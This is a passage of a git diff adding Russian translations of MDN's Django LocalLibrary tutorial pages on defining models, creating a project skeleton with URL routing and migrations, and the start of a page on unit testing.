'placeholders'. После строки укажем %, а затем кортеж, содержащий значения, которые будут вставлены в заполнители. Если у вас просто один заполнитель, вы можете опустить кортеж - например, 'Мое значение:% S' % переменная.<br> + <br> + Обратите также внимание на то, что, хотя этот подход совершенно применим, но он более не является предпочтительным. Начиная с Python 3, вы должны использовать метод format, например. '{0} ({1})'.format (self.id, self.book.title). Вы можете узнать больше об этом <a href="https://www.python.org/dev/peps/pep-3101/">здесь</a>.</li> +</ul> +</div> + +<h3 id="Модель_автора">Модель автора</h3> + +<p>Скопируйте модель автора (показано ниже) под существующим кодом в models.py.</p> + +<p>Теперь все поля/методы должны быть знакомы. Модель определяет автора как имя, фамилию, дату рождения и (необязательную) дату смерти. Он указывает, что по умолчанию __str __ () возвращает имя в фамилии, порядковый номер первого имени. Метод get_absolute_url () отменяет сопоставление URL-адреса автора с целью получения URL-адреса для отображения отдельного автора.</p> + +<pre class="brush: python notranslate">class Author(models.Model): + """ + Model representing an author. + """ + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + """ + Returns the url to access a particular author instance. + """ + return reverse('author-detail', args=[str(self.id)]) + + + def __str__(self): + """ + String for representing the Model object. + """ + return '%s, %s' % (self.last_name, self.first_name) +</pre> + +<h2 id="Повторно_выполнить_миграцию_базы_данных">Повторно выполнить миграцию базы данных</h2> + +<p>Теперь все ваши модели созданы. Теперь переустановите миграцию базы данных, чтобы добавить их в свою базу данных.</p> + +<pre class="notranslate"><code>python3 manage.py makemigrations +python3 manage.py migrate</code></pre> + +<h2 id="Языковая_модель_-_вызов">Языковая модель - вызов</h2> + +<p>Представьте себе, что местный благотворитель жертвует ряд новых книг, написанных на другом языке (скажем, фарси). Задача состоит в том, чтобы определить, как они будут лучше всего представлены на нашем веб-сайте библиотеки, а затем добавить их в модели.</p> + +<p>Некоторые вещи, которые следует учитывать:</p> + +<ul> + <li>Должен ли «язык» ассоциироваться с Book, BookInstance или каким-либо другим объектом?</li> + <li>Должны ли быть представлены разные языки с использованием модели, свободного текстового поля или жестко запрограммированного списка выбора?</li> +</ul> + +<p>После того, как вы решили, добавьте поле. Вы можете увидеть наше решение на Github <a href="https://github.com/mdn/django-locallibrary-tutorial/blob/master/catalog/models.py">here</a>.</p> + +<ul> +</ul> + +<ul> +</ul> + +<h2 id="Резюме">Резюме</h2> + +<p>В этой статье мы узнали, как определять модели, а затем использовать эту информацию в разработке и внедрении соответствующих моделей для сайта LocalLibrary.</p> + +<p>На этом этапе мы отвлечемся от создания сайта и проверим <em>Django Administration site</em>. Этот сайт позволит нам добавить некоторые данные в библиотеку, которые мы можем отобразить с помощью наших (еще не созданных) представлений и шаблонов.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/">Writing your first Django app, part 2</a> (Django Docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/db/queries/">Making queries</a> (Django Docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/models/querysets/">QuerySet API Reference</a> (Django Docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/skeleton_website/index.html b/files/ru/learn/server-side/django/skeleton_website/index.html new file mode 100644 index 0000000000..48dda2c3b8 --- /dev/null +++ b/files/ru/learn/server-side/django/skeleton_website/index.html @@ -0,0 +1,357 @@ +--- +title: 'Руководство по Django часть 2: создание скелета' +slug: Learn/Server-side/Django/skeleton_website +tags: + - django + - Введение + - Для новичков + - Программирование + - Руководство + - Статья +translation_of: Learn/Server-side/Django/skeleton_website +--- +<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div> + +<p class="summary">Это вторая статья из нашего <a href="/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">руководства по Django</a>, которая показывает, как можно создать "скелет" сайта, как фундамент, на котором можно строить всё остальное: настройки, ссылки, модели, контроллеры и представления.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Необходимо:</th> + <td> + <p><a href="/ru/docs/Learn/Server-side/Django/development_environment">Настройка окружения</a>. Прочитать первую статью <a href="/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">руководства по Django</a>.</p> + </td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Научиться использовать инструменты Django для создания новых веб-сайтов.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>Эта статья показывает, как можно создать "скелет"(прототип) сайта, который затем можно расширить при помощи различных настроек, url адресов, моделей, представлений, и шаблонов (эти темы будут объясняться в последующих статьях).</p> + +<p>Алгоритм следующий:</p> + +<ol> + <li><span style="line-height: 1.5;">Использовать </span><code style="font-style: normal; font-weight: normal; line-height: 1.5;">django-admin</code><span style="line-height: 1.5;"> для создания папки проекта, шаблонов остальных файлов, и скрипта для управления проектом (</span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;">).</span></li> + <li><span style="line-height: 1.5;">Использовать </span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;"><em> </em>для создания одного или нескольких <em>приложений</em></span><span style="line-height: 1.5;">.</span> + <div class="note"> + <p><strong>Заметка: </strong>Сайт может состоять из одной или нескольких различных частей, например: основная часть, блог, вики, раздел загрузок, и так далее. Философия Django подталкивает разработчиков создавать эти части, как разные <strong>приложения</strong>, которые, если понадобится, могут быть использованы повторно в других проектах. </p> + </div> + </li> + <li><span style="line-height: 1.5;">Зарегистрировать в настройках эти приложения, чтобы использовать их в проекте. </span></li> + <li><span style="line-height: 1.5;">Настроить маршруты url адресов для каждого из приложений.</span></li> +</ol> + +<p>Для <a href="/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">Сайта местной библиотеки</a> папка сайта и проекта будет называться <em>locallibrary</em>, и у нас будет одно приложение с названием <em>catalog</em>. Верхняя структура проекта будет следующей:</p> + +<pre class="brush: bash"><em>locallibrary/ # Папка сайта</em> + <strong>manage.py </strong># Скрипт для управления проектов (создан manage.py) + <em>locallibrary/ # Папка сайта/проекта </em>(создана manage.py) + <em>catalog/ # Папка приложения </em>(также создана manage.py) +</pre> + +<p><span style="line-height: 1.5;">Следующие разделы статьи разложат по полочкам этапы создания "скелета", и покажут вам, как можно проверить сделанные изменения. В конце статьи мы обсудим некоторые другие настройки сайта, которые можно назначить на этом этапе.</span></p> + +<h2 id="Создание_проекта">Создание проекта</h2> + +<p>Для начала откройте командную строку/терминал, перейдите в ту папку, куда вы хотите поместить проект<span style="line-height: 1.5;"> Django(лучше в папке профиля пользователя C:\Users\user_name, при запуске командной строки используется именно эта директория), и создайте папку для вашего нового сайта (в данном случае: </span><em>locallibrary</em>). Затем войдите в эту папку, используя команду cd:</p> + +<pre class="brush: bash">mkdir locallibrary +cd locallibrary</pre> + +<p>Создайте новую папку, используя команду <code>django-admin startproject</code> как в примере ниже, и затем зайдите в созданную папку.</p> + +<pre class="brush: bash"> django-admin startproject locallibrary . +cd locallibrary</pre> + +<p>Команда <code>django-admin</code> создаст файловую структуру, как в примере ниже:</p> + +<pre class="brush: bash"><em>locallibrary/</em> + <strong>manage.py</strong> + <em>locallibrary/</em> + settings.py + urls.py + wsgi.py</pre> + +<p>Подпапка проекта <em>locallibrary</em> это ключевая директория нашего проекта: </p> + +<ul> + <li><strong>settings.py</strong> содержит в себе все настройки проекта. Здесь мы регистрируем приложения, задаём размещение <em>статичных</em> файлов, настройки базы данных и так далее. </li> + <li><strong>urls.py</strong> задаёт ассоциации url адресов с представлениями. Несмотря на то, что этот файл может содержать <em>все</em> настройки url<span style="line-height: 1.5;">, обычно его делят на части, по одной на приложение, как будет показано далее. </span></li> + <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;"> используется для налаживания связи между вашим Django приложением и веб-сервером. Вы можете воспринимать его, как утилиту.</span></li> +</ul> + +<p>Скрипт <strong>manage.py</strong> используется для создания приложений, работы с базами данных и для запуска отладочного сервера. </p> + +<h2 id="Создание_приложения_Каталог">Создание приложения Каталог</h2> + +<p>Выполнив предыдущие шаги, запустите следующую команду для создания приложения <em>catalog</em>, который будет размещён внутри папки locallibrary (команду необходимо выполнять из папки, в которой находится <strong>manage.py</strong>):</p> + +<pre class="brush: bash">python3 manage.py startapp catalog</pre> + +<div class="note"> +<p><strong>Заметка</strong>: приведённая выше команда справедлива для GNU Linux/Mac OS. На Windows команда должна иметь вид: <code>py -3 manage.py startapp catalog</code></p> + +<p>Если вы работаете под Windows, заменяйте команду <code>python3</code> на <code>py -3</code> в этой и следующих статьях.</p> +</div> + +<p>Эта команда создаст новую папку и наполнит её файлами различных частей приложения (выделенные <strong>полужирным </strong>ниже). Большинство файлов названы, исходя из их назначения (например контроллеры(views) должны находится во <strong>views.py</strong>, модели в <strong>models.py</strong>, тесты в <strong>tests.py</strong>, настройки административной части в <strong>admin.py</strong>, регистрация приложения в <strong>apps.py</strong>) и уже содержат некоторый шаблонный код для работы с вышеназванными объектами.</p> + +<p>Обновлённая директория должна выглядеть следующим образом:</p> + +<pre class="brush: bash"><em>locallibrary/</em> + manage.py + <em>locallibrary/ +</em><strong> <em>catalog/</em> + admin.py + apps.py + models.py + tests.py + views.py + __init__.py + <em>migrations/</em></strong> +</pre> + +<p>Кроме перечисленных выше файлов были созданы:</p> + +<ul> + <li>Папка <em>migrations</em> используется, чтобы хранить"миграции" — файлы, которые позволяют вам автоматически обновлять базу данных по мере изменения моделей. </li> + <li><strong>__init__.py</strong> — пустой файл для того, чтобы Django и Python распознавали папку как <a href="https://docs.python.org/3/tutorial/modules.html#packages">Python модуль </a>и позволяет нам использовать его объекты внутри других частей проекта.</li> +</ul> + +<div class="note"> +<p><strong>Заметка</strong>: Заметили, что некоторых файлов не хватает? В то время, как там нашли себе место файлы для контроллеров(views) и моделей(models), файлов для настройки url соотносителя, шаблонов, и статичных файлов создано не было. Далее мы покажем, как их создать (они не обязательны для каждого сайта, но нужны в данном примере).</p> +</div> + +<h2 id="Регистрация_папки_с_приложением">Регистрация папки с приложением</h2> + +<p>После создания приложения, нам нужно зарегистрировать его в проекте, чтобы различные утилиты затрагивали его своим действием (например при добавлении моделей в базу данных). Приложения регистрируются добавлением их названий в список <code>INSTALLED_APPS</code> в настройках проекта(который, как мы помним, называется <strong>settings.py</strong>). </p> + +<p>Откройте файл <strong>locallibrary/locallibrary/settings.py</strong> и найдите в нём список <code>INSTALLED_APPS</code> . Затем добавьте новую строку в конец списка, как показано <strong>полужирным </strong>ниже.</p> + +<pre class="brush: bash">INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', +<strong> 'catalog.apps.CatalogConfig', </strong> +]</pre> + +<p>Новая строка указывает на файл конфигурации приложения (<code>CatalogConfig</code>), который был создан в <strong>/locallibrary/catalog/apps.py</strong> , когда вы создали приложение.</p> + +<div class="note"> +<p><strong>Заметка</strong>: Легко заметить, что в <code>INSTALLED_APPS</code> уже подключено большое количество приложений (и объектов <code>MIDDLEWARE</code>, ниже в файле конфигурации). Они добавляют поддержку <a href="/ru/docs/Learn/Server-side/Django/Admin_site">админ-панели Django</a> и, как следствие, огромное количество функционала (включая сессии, аутентификацию и прочее).</p> +</div> + +<h2 id="Настройка_базы_данных">Настройка базы данных</h2> + +<p>На этом шаге обычно указывают базу данных для будущего проекта — имеет смысл использовать для разработки и размещённого в Сети одну и ту же базу данных, по возможности, чтобы исключить различия в поведении. Про различные варианты вы можете прочитать в документации Django в разделе <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#databases">Базы данных</a>. </p> + +<p>Мы будем использовать базу данных SQLite для этого проекта, потому что не предпологаем большое количество одновременных запросов на неё, а ещё потому, что для её настройки совсем не надо ничего делать! Вы можете видеть, что база данных уже настроена в <strong>settings.py</strong> (подробная информация указана ниже):</p> + +<pre class="brush: python">DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), + } +} +</pre> + +<p>Так как мы используем SQLite, то нам не нужно ничего делать.</p> + +<p>Давайте продолжим!</p> + +<h2 id="Другие_настройки_проекта">Другие настройки проекта</h2> + +<p>Файл <strong>settings.py</strong> так же применяется и для некоторых других настроек, но на данном шаге имеет смысл поменять разве что <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-TIME_ZONE">TIME_ZONE</a> — это значение должно быть представлено строкой, указанной в <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">списке часовых поясов tz </a>(колонка TZ в таблице, в строке временной зоны, которая вам нужна). Измените <code>TIME_ZONE</code> на одну из строк из таблицы, которая отвечает вашему часовому поясу. Например:</p> + +<pre class="brush: python">TIME_ZONE = 'Europe/Moscow'</pre> + +<p>В файле присутствует две настройки, которые не нужно менять сейчас, но о назначении которых следует знать:</p> + +<ul> + <li><code>SECRET_KEY</code>. Это секретный ключ, который используется Django для поддержки безопасности сайта. Если вы раскроете этот ключ в процессе разработки кому-либо, то необходимо будет его сменить (возможно считать его с какого-либо файла на сервере или переменной окружения) когда будете размещать проект на сервер. </li> + <li><code>DEBUG</code>. Включает подробные сообщения об ошибках, вместо стандартных HTTP статусов ответов. Должно быть изменено на <code>False</code> на сервере, так как эта информация очень много расскажет взломщикам. </li> +</ul> + +<h2 id="Подключение_URL-адреса">Подключение URL-адреса</h2> + +<p>При создании сайта, был создан файл сопоставления URL (<strong>urls.py</strong>) в корне проекта. Хотя можно использовать его для обработки всех URL адресов, более целесообразно подключать отдельные файлы сопоставлений для каждого приложения.</p> + +<p>Откройте <strong>locallibrary/locallibrary/urls.py</strong> и обратите внимание на закомментированный текст, который объясняет суть происходящего. </p> + +<pre class="brush: python">""" +locallibrary URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/1.10/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.conf.urls import url, include + 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) +""" +<code>from django.urls import path</code> +from django.contrib import admin + + +urlpatterns = [ + <code>path('admin/', admin.site.urls),</code> +] +</pre> + +<p>URL соотношения хранятся в переменной <code>urlpatterns</code>, которая является списком функций <code>path()</code>. Каждая <code>path()</code> функция или ассоциирует шаблон URL<em> </em>с контроллером(views) или же его с другим таким списком (во втором случае, первый URL становится "базовым" для других, которые определяются в дочернем списке). Список <code>urlpatterns</code> инициализирует список функции, которая, например, соотносит <em>admin/</em> с модулем <code>admin.site.urls</code> , который содержит собственный файл-соотноситель.</p> + +<p>Добавьте строчки, приведённые ниже в низ файла <strong>urls.py</strong> , чтобы добавить новый элемент в список <code>urlpatterns</code>. Этот элемент содержит <code>url()</code> который направляет запросы с URL <code>catalog/</code> к модулю <code>catalog.urls</code> (файл с относительным путём <strong>/catalog/urls.py</strong>).</p> + +<pre class="brush: python"># Используйте include() чтобы добавлять URL из каталога приложения +<code>from django.urls import include +from django.urls import path</code> +urlpatterns += [ + <code> path('catalog/', include('catalog.urls')),</code> +] +</pre> + +<p>Теперь давайте перенаправим корневой URL нашего сайта (например <code>127.0.0.1:8000</code>) на URL <code>127.0.0.1:8000/catalog/</code>; это единственное приложение, которое мы собираемся использовать, поэтому это вполне разумно. Чтобы это использовать, нам понадобится специальная функция (<code>RedirectView</code>), которая принимает первым параметром новый относительный URL на который следует перенаправлять (<code>/catalog/</code>) когда указанный в функции <code>url()</code> адрес соотносится с адресом запроса (корневой URL, в данном случае).</p> + +<p>Добавьте следующие строчки, тоже в конец файла:</p> + +<pre class="brush: python"># Добавьте URL соотношения, чтобы перенаправить запросы с корневового URL, на URL приложения +from django.views.generic import RedirectView +urlpatterns += [ + <code>path('', RedirectView.as_view(url='/catalog/', permanent=True)),</code> +]</pre> + +<p>Django не размещает <em>статические</em> файлы(CSS, JavaScript, и изображения) по умолчанию, но это было бы крайне полезно на этапе разработки нашего сайта. В самом конце нашего URL соотносителя, можно включить размещение статических файлов. </p> + +<p>Добавьте последнюю часть в конец файла:</p> + +<pre><code># Используйте static() чтобы добавить соотношения для статических файлов +# Только на период разработки +from django.conf import settings +from django.conf.urls.static import static + +urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code> +</pre> + +<div class="note"> +<p><strong>Заметка</strong>: Существуют различные способы дополнения списка <code>urlpatterns</code> (в примере мы просто добавляли объект, испольщуя оператор <code>+=</code> чтобы чётко разделить изначальный и дописанный код). Вместо этого, мы могли бы добавить соотношения внутрь определения переменной:</p> + +<pre>urlpatterns = [ path('admin/', admin.site.urls), +path('catalog/', include('catalog.urls')),path('', +RedirectView.as_view(url='/catalog/', permanent=True)), ] + +<code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code></pre> + +<p>Кроме того, мы добавили import вниз файла (<code>from django.urls import include</code>) ,чтобы видеть, что мы добавили, но обычно все import'ы добавляются в верхнюю часть файла.</p> +</div> + +<p>Напоследок, создайте файл <strong>urls.py</strong> внутри папки <strong>catalog</strong>, и добавьте следующий код, чтобы определить (пустой) <code>urlpatterns</code>. Сюда мы будем добавлять наши URL соотношения, по мере разработки сайта. </p> + +<pre class="brush: python">from django.urls import path +from . import views + + +urlpatterns = [ + +] +</pre> + +<h2 id="Тестирование_работы_скелета">Тестирование работы скелета</h2> + +<p>На этом, мы создали прототип сайта. Пока сайт ничего не умеет делать, но стоит запустить его, чтобы убедиться, что мы ничего не сломали. </p> + +<p>До этого, нам предстоит впервые запустить <em> миграцию базы данных</em>. Это обновит нашу базу данных и добавит туда необходимые модели (и уберёт некоторые предупреждения, которые были бы показаны при попытке запуска).</p> + +<h3 id="Запуск_миграций_базы_данных">Запуск миграций базы данных</h3> + +<p>Django использует Объектный Соотноситель Связей (ORM) чтобы соотносить определения моделей в Django приложении со структурами данных, которые используются базой данных. Когда мы меняем наши модели, Django отслеживает изменения и может создать файлы миграций (в папке <strong>/locallibrary/catalog/migrations/</strong>) чтобы применить соответствующие структуры данных к базе, чтобы та соответствовала модели.</p> + +<p>При создании сайта, Django автоматически добавил несколько моделей, чтобы мы могли их использовать в админ-панели (о которой мы поговорим позже). Выполните следующие команды, чтобы создать нужные таблицы в базе данных, соответствующие этим моделям (убедитесь, что вы находитесь в папке с<strong> manage.py</strong>):</p> + +<pre class="brush: bash">python3 manage.py makemigrations +python3 manage.py migrate +</pre> + +<div class="warning"> +<p><strong>Предупреждение</strong>: Необходимо выполнять команды выше каждый раз, когда вы меняете модели таким образом, что структура таблицы изменится(включая добавления и удаления как отдельных полей, так и целых моделей).</p> +</div> + +<p><code>Команда makemigrations</code> <em>создаёт</em> (но не применяет) миграции для всех приложений, которые установлены в ваш проект (вы так же можете указать в конце имя конкретного приложения, чтобы создать миграции только для него). Это даёт вам возможность проверить код перед тем, как их применить — когда вы станете хорошо разбираться в Django, то сможете даже менять их!</p> + +<p>Команда <code>migrate</code> применяет созданные миграции к базе (Django отслеживает, какие миграции были созданы для данной базы).</p> + +<div class="note"> +<p><strong>Заметка</strong>: Посмотрите раздел <a href="https://docs.djangoproject.com/en/2.2/topics/migrations/">Миграции</a> в документации Django чтобы получить информацию о менее распространённых командах для управления миграциями.</p> +</div> + +<h3 id="Запуск_сайта">Запуск сайта</h3> + +<p>Во время разработки, вы можете проверить свой сайт, разместив его на <em>встроенном отладочном сервере</em>, и просмотрев его в своём браузере. </p> + +<div class="note"> +<p><strong>Заметка</strong>: Отладочный веб-сервер не настолько функционален и производителен, для постоянного размещения , но это самый простой способ запустить свой сайт на Django и проверить его на наличие ошибок. По умолчанию, он разместит сайт на вашем компьютере (<code>http://127.0.0.1:8000/)</code>, но вы так же можете указать различные компьютеры в вашей сети для этой цели. Для получения большего количества информации загляните в раздел <a href="https://docs.djangoproject.com/en/2.2/ref/django-admin/">django-admin и manage.py: отладочный сервер</a> документации Django.</p> +</div> + +<p>Запустите веб-сервер, используя команду <em>runserver</em> (в той же папке, что и <strong>manage.py</strong>):</p> + +<pre class="brush: bash">python3 manage.py runserver + + Performing system checks... + + System check identified no issues (0 silenced). + September 22, 2016 - 16:11:26 + Django version 1.10, using settings 'locallibrary.settings' + Starting development server at http://127.0.0.1:8000/ + Quit the server with CTRL-BREAK. +</pre> + +<p>Когда сервер запустится, вы сможете посетить сайт по адресу <code>http://127.0.0.1:8000/</code> в вашем веб-браузере. Вы должны увидеть страницу с ошибкой, навроде этой:</p> + +<p><img alt="Django debug page for a 404 not found error" src="https://mdn.mozillademos.org/files/14009/django_404_debug_page.png" style="display: block; height: 545px; margin: 0px auto; width: 871px;"></p> + +<p>Не волнуйтесь! Эта страница должна появиться и сообщить нам, что мы ещё не настроили ни одной страницы в модуле <code>catalogs.urls</code> (на который мы были перенаправлены запросили корневой URL сайта). </p> + +<div class="note"> +<p><strong>Заметка</strong>: Показанная выше страница открывает нам одно из замечательных свойств Django — автоматические отчёты об ошибках. На экране с ошибкой отображается множество полезной информации, когда страница не найдена, или ошибка была вызвана кодом. В данном случае, мы видим, что запрошенный URL не соответствует ни одному шаблону (из указанных). Подобные отчёты будут выключены при DEBUG=False (когда мы разместим приложение в Сеть), в этом случае будет показана менее информативная, но более дружелюбная к пользователю страница(которую вам надо будет создать - прим. переводчика).</p> +</div> + +<p>На данном этапе, мы поняли, что Django работает должным образом! </p> + +<div class="note"> +<p><strong>Заметка</strong>: Вам следует перезапускать миграцию и заново тестировать сайт, после того как вы делаете важные изменения. Поверьте, это не займёт много времени!</p> +</div> + +<h2 id="Домашнее_задание">Домашнее задание</h2> + +<p>Папка <strong>catalog/</strong> содержит файлы контроллеров(views), моделей(models), и других частей приложения. Просмотрите эти файлы. </p> + +<p>Как было написано выше, URL соотноситель для админ-панели был подключен в файле <strong>urls.py</strong>. Войдите в административную часть и посмотрите, что произойдёт (вы можете найти URL из соотношения выше).</p> + +<ul> +</ul> + +<h2 id="Подводя_итоги">Подводя итоги</h2> + +<p>Теперь вы создали полноценный скелет веб-приложения, который теперь вы можете расширить url соотносителями, контроллерами(views) и моделями(models).</p> + +<p>Теперь скелет <a href="/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">Сайта местной библиотеки</a> сделан и запущен, теперь самое время начать писать код, который научит сайт делать то, что он должен делать. </p> + +<h2 id="Также_посмотрите_эти_статьи">Также посмотрите эти статьи</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.2/intro/tutorial01/">Пишем своё первое приложение на Django - часть 1</a> (документация Django)</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/applications/">Приложения</a> (документация Django). содержит информацию о настройке приложений.</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/testing/index.html b/files/ru/learn/server-side/django/testing/index.html new file mode 100644 index 0000000000..699f9f0d23 --- /dev/null +++ b/files/ru/learn/server-side/django/testing/index.html @@ -0,0 +1,892 @@ +--- +title: 'Руководство часть 10: Тестирование приложений Django' +slug: Learn/Server-side/Django/Testing +tags: + - TDD + - django + - Для начинающих + - Разработка через тесты + - Руководство + - Сервер + - Тестирование в django + - сторона сервера + - тестирование + - юнит-тесты +translation_of: Learn/Server-side/Django/Testing +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div> + +<p class="summary">Сайты, в процессе развития и разработки, становится все сложнее тестировать вручную. Кроме такого тестирования, сложными становятся внутренние взаимодействия между компонентами - внесение небольшого изменения в одной части приложения влияет на другие. При этом, чтобы все продолжало работать нужно вносить все больше и больше изменений и, желательно так, чтобы не добавлялись новые ошибки. Одним из способов который позволяет смягчить последствия добавления изменений, является внедрение в разработку автоматического тестирования - оно должно просто и надежно запускаться каждый раз, когда вы вносите изменения в свой код. Данное руководство рассматривает вопросы автоматизации<em> юнит-тестирования</em> вашего сайта при помощи фреймворка Django для тестов.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Изучить все предыдущие темы руководства, включая <a href="/en-US/docs/Learn/Server-side/Django/Forms">Руководство Django Часть 9: Работа с формами</a>.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понимать как создавать юнит тесты для сайта на основе Django.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> в настоящий момент содержит страницы для показа списков всех книг, авторов, подробной информации о книгах <code>Book</code> и авторах <code>Author</code>, а также страницу для обновления информации об экземпляре книги <code>BookInstance</code> и, кроме того, страницы для создания, обновления и удаления записей модели <code>Author</code> (и модели <code>Book</code>, в том случае, если вы выполнили домашнее задание в руководстве <a href="/en-US/docs/Learn/Server-side/Django/Forms">работа с формами</a>). Даже в случае небольшого сайта, ручной переход на каждую страницу и <em>беглая</em> проверка того, что все работает как следует, может занять несколько минут. В процессе внесения изменений и роста сайта требуемое время для проведения проверок будет только возрастать. Если бы мы продолжили в том же духе, то в какой-то момент на проведение тестов мы тратили бы больше времени, чем на написание кода и внесение изменений.</p> + +<p>Автоматические тесты могут серьезно помочь нам справиться с этой проблемой! Очевидными преимуществами в таком случае являются значительно меньшие временные затраты на проведение тестов, их подробное выполнение, а кроме того, тесты имеют постоянную функциональность, или последовательность действий (человек никогда не сможет тестировать так надежно!). В связи с быстротой их выполнения автоматические тесты можно выполнять более часто, а если они провалятся, то укажут на соответствующее место (где что-то пошло не так как ожидалось).</p> + +<p>Кроме того, автоматические тесты могут действовать как первый "настоящий пользователь" вашего кода, заставляя вас строго следить за объявлениями и документированием поведения вашего сайта. Тесты часто являются основой для создания примеров вашего кода и документации. По этим причинам иногда некоторые процессы разработки программного обеспечения начинаются с определения тестов и их реализации, а уже после этого следует написание кода который должен иметь соответствующее поведение (так называемая разработка <a href="https://en.wikipedia.org/wiki/Test-driven_development">на основе тестов</a> и <a href="https://en.wikipedia.org/wiki/Behavior-driven_development">на основе поведения</a>).</p> + +<p>Данное руководство показывает процесс создания автоматических тестов в Django при помощи добавления их к разработке сайта <em>LocalLibrary</em>.</p> + +<h3 id="Типы_тестирования">Типы тестирования</h3> + +<p>Существует несколько типов, уровней, классификаций тестов и тестовых приемов. Наиболее важными автоматическими тестами являются:</p> + +<dl> + <dt>Юнит-тесты</dt> + <dd>Проверяют функциональное поведение для отдельных компонентов, часто классов и функций.</dd> + <dt><strong>Регрессионное тестирование</strong></dt> + <dd>Тесты которые воспроизводят исторические ошибки (баги). Каждый тест вначале запускается для проверки того, что баг был исправлен, а затем перезапускается для того, чтобы убедиться, что он не был внесен снова с появлением новых изменений в коде.</dd> + <dt>Интеграционные тесты</dt> + <dd>Проверка совместной работы групп компонентов. Данные тесты отвечают за совместную работу между компонентами, не обращяя внимания на внутренние процессы в компонентах. Они проводятся как для простых групп компонентов, так и для целых веб-сайтов.</dd> +</dl> + +<div class="note"> +<p><strong>Примечание: </strong>К другим типам тестов относятся методы чёрного ящика, белого ящика, ручные, автоматические, канареечные (canary), дымные (smoke), соответствия (conformance), принятия (acceptance), функциональные (functional), системные (system), эффективности (performance), загрузочные (load) и стресс-тесты (stress tests).</p> +</div> + +<h3 id="Что_Django_предоставляет_для_тестирования">Что Django предоставляет для тестирования?</h3> + +<p>Тестирование сайта это сложная задача, потому что она состоит их нескольких логических слоев – от HTTP-запроса и запроса к моделям, до валидации формы и их обработки, а кроме того, рендеринга шаблонов страниц.</p> + +<p>Django предоставляет фреймворк для создания тестов, построенного на основе иерархии классов, которые, в свою очередь, зависят от стандартной библиотеки Python <code><a href="https://docs.python.org/3/library/unittest.html#module-unittest" title="(in Python v3.5)">unittest</a></code>. Несмотря на название, данный фреймворк подходит и для юнит-, и для интеграционного тестирования. Фреймворк Django добавляет методы API и инструменты, которые помогают тестировать как веб так и, специфическое для Django, поведение. Это позволяет вам имитировать URL-запросы, добавление тестовых данных, а также проводить проверку выходных данных ваших приложений. Кроме того, Django предоставляет API (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) и инструменты <a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/#other-testing-frameworks">для применения различных фреймфорков тестирования</a>, например вы можете подключить популярный фреймворк <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> для имитации поведения пользователя в реальном браузере.</p> + +<p>Для написания теста вы должны наследоваться от любого из классов тестирования Django (или <em>юниттеста</em>) (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>), а затем реализовать отдельные методы проверки кода (тесты это функции-"утверждения", которые проверяют, что результатом выражения являются значения <code>True</code> или <code>False</code>, или что два значения равны и так далее). Когда 